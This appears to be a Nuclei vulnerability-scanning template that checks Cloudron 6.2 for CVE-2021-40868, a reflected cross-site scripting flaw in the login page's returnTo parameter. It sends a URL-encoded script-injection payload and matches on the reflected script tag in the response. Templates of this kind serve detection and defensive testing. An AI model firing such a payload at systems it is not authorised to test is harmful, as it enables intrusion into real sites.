38 lines
991 B
YAML
38 lines
991 B
YAML
id: CVE-2021-40868
|
|
|
|
info:
|
|
name: Cloudron 6.2 Cross Site Scripting
|
|
author: daffainfo
|
|
severity: medium
|
|
description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to Reflected XSS.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
|
|
tags: cve,cve2021,xss,cloudron
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2021-40868
|
|
cwe-id: CWE-79
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
part: body
|